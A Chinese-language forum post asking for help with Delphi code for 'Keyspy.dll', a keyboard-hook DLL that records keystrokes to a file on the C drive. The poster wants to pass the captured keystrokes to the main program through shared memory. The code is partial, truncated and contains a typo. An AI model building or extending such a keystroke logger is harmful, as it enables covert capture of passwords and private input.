找到一个demo 利用的是写文件到c盘的文本，然后主程序去调用加载，我想高手帮我搞个内存共享的方法把dll里面的信息反馈给主程序 谢谢主程序代码：Function setkeyhook:Boolean;stdcall;external 'Keyspy.dll';Function endkeyhook:Boolean;stdcall;external 'Keyspy.dll';procedure TForm1.Button1Click(Sender: TObject);beginif setkeyhook then begin ShowMessage('钩子安装成功！'); Timer1.Enabled := true; end;end;procedure TForm1.Button2Click(Sender: TObject);begin if EndkeyHook then begin ShowMessage('钩子卸载成功！'); Timer1.Enabled := false; end;end;procedure TForm1.Timer1Timer(Sender: TObject);begin try Memo1.Lines.LoadFromFile('c:/debug.txt'); except exit; end;end;dll代码library keyspy;uses windows, messages, hookproc in 'hookproc.pas';exports //输出的函数setkeyhook,endkeyhook;beginnexthookproc := 0;procsaveexit := exitproc;exitproc := @keyhookexit;end.单元文件代码 unit hookproc;interfaceusesWindows,Messages,SysUtils,Controls,StdCtrls;varnexthookproc: hhook;porcsaveexit: pointer;function setkeyhook: bool;export; //加载钩子function endkeyhook: bool;export; //卸载钩子procedure keyhookexit;far;constafilename= 'c:/debug.txt'; //将键盘输入动作写入文件中vardebugfile: textfile;procsaveexit
